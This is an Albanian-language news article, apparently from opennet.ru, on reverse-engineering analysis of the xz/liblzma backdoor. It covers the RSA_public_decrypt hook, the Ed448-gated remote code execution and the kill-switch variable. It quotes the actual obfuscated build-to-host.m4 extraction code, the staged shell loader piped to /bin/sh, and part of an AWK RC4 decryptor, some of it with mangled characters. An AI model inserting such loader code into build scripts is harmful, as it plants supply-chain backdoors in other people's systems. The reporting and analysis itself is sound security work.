Disponohen rezultatet paraprak të inxhinierisë së kundërt për skedarin e dëmshëm të objektit, i integruar në liblzma si rezultat i një fushate për promovimin e backdoor-it në paketën xz. Backdoor-i ndikon vetëm në sistemet x86_64 të bazuara në bërthamën Linux dhe bibliotekën C Glibc, ku për sshd aplikohet një patch shtesë, i cili realizon lidhjen me bibliotekën libsystemd për të mbështetur mekanizmin sd_notify. Fillimisht supozohej se backdoor-i lejonte kalimin e autentikimit në sshd dhe qasjen në sistem përmes SSH. Një analizë më e detajuar tregoi se kjo nuk është e vërtetë dhe backdoor-i ofron mundësinë për të ekzekutuar kod të rastësishëm në sistem, pa lënë gjurmë në log-et e sshd.
Konkretisht, funksioni RSA_public_decrypt i kapur nga backdoor-i kontrollon nënshkrimin e hostit, duke përdorur një çelës të ngurtësuar Ed448, dhe në rastin e një verifikimi të suksesshëm, ekzekuton kodin e dhënë nga një host i jashtëm duke përdorur funksionin system() në fazën para ndalimit të privilegjeve nga procesi sshd. Të dhënat, të cilat përmbajnë kod për ekzekutim, nxirren nga parametri ‘N’, i dhënë në funksionin RSA_public_decrypt (fusha ‘n’ nga struktura rsa_st, e cila përmban çelësin publik të përçarë nga hosti i jashtëm), kontrollohen me një checksum dhe dekriptohen duke përdorur një çelës të përcaktuar më parë ChaCha20 në fazën para verifikimit të nënshkrimit digjital Ed448.
Si një shenjë për aktivizimin e backdoor-it në sshd përdoret mekanizmi standard i ndarjes së çelësave të hosteve. Backdoor-i shfrytëzon faktin se certifikatat OpenSSH përfshijnë çelësin publik të personit që ka formuar nënshkrimin dhe reagon vetëm ndaj çelësit të përgatitur nga sulmuesi dhe përputhet me një çelës të ngurtësuar Ed448. Nëse verifikimi i nënshkrimit për çelësin publik dështon ose nëse integriteti i të dhënave për ekzekutim nuk konfirmohet, backdoor-i kthen kontrollin në funksionet standarde të SSH.
Pasi çelësi privat i sulmuesit është i panjohur, nuk është e mundur të realizohet një kod verifikimi që do lejonte të tjerët të aktivizojnë backdoor-in dhe të realizonin një skaner për hostet e komprometuar në rrjet. Hulumtuesit kanë përgatitur një skriptë, e cila demonstron teknikën e zëvendësimit të çelësit publik me përmbajtje të rastësishme në certifikatat e OpenSSH të transmetuara nga SSH klientët, të cilat do të trajtohen në funksionin e kapur nga backdoor-i RSA_public_decrypt.
Hulumt e rinj e vunë re se kishte një strukturë që neutralizonte backdoor-in (killswitch) në sistemin lokal me prezencën e variablës mjedisore "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" para se të ishte nisur sshd.
Gjithashtu, mund të theksohet analiza e detajuar e konstrukcioneve shell, të përdorura për të komplikur procesin e nxjerrjes së skedarëve objektivë me backdoor-in dhe zëvendësimin e tij në bibliotekën liblzma. Gjatë ndërtimit të paketës xz nga skripti build-to-host.m4, u aktivizua një kod që gjente midis skedarëve testues arkivin bad-3-corrupt_lzma2.xz, e zëvendësonte disa simbole, e shndërronte atë në një arkiv të paprekur dhe e nxirrte nga ai skriptin shell. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir\/ 2>\/dev\/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/null’ gl_path_map=’tr "\t \-_» » \t_\-„
Skripti shell i marrë nxirrte me copa nga përmbajtja e arkivit good-large_compressed.lzma një tjetër skript shell, duke kaluar sekonda të caktuara me komandat head dhe tail, dhe duke zëvendësuar simbole me komandën tr. ####Hello#### # disa byte binarë këtu, por siç është një koment ata injorohen [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|\/bin\/sh ####World####
Si rezultati u formua një skenar shell mjaft të komplikuar dhe voluminoz, i cili nxjerr përshtypjen e dosjes me backdoor nga arkivi good-large_compressed.lzma, e dekripton atë dhe e integron në liblzma. Mes të tjerash, skenari kishte implementimin e mekanizmit të plug-inëve, i cili lejonte më vonë ofrimin e komponenteve ekzekutues duke vendosur arkiva testuese të reja, pa ndryshuar good-large_compressed.lzma dhe bad-3-corrupt_lzma2.xz, duke përdorur kërkimin sipas nënshkrimit. Në kod ishte përdorur gjithashtu një dekriptor bazuar në algoritmin RC4, i implementuar në gjuhën AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
Burimi: opennet.ru
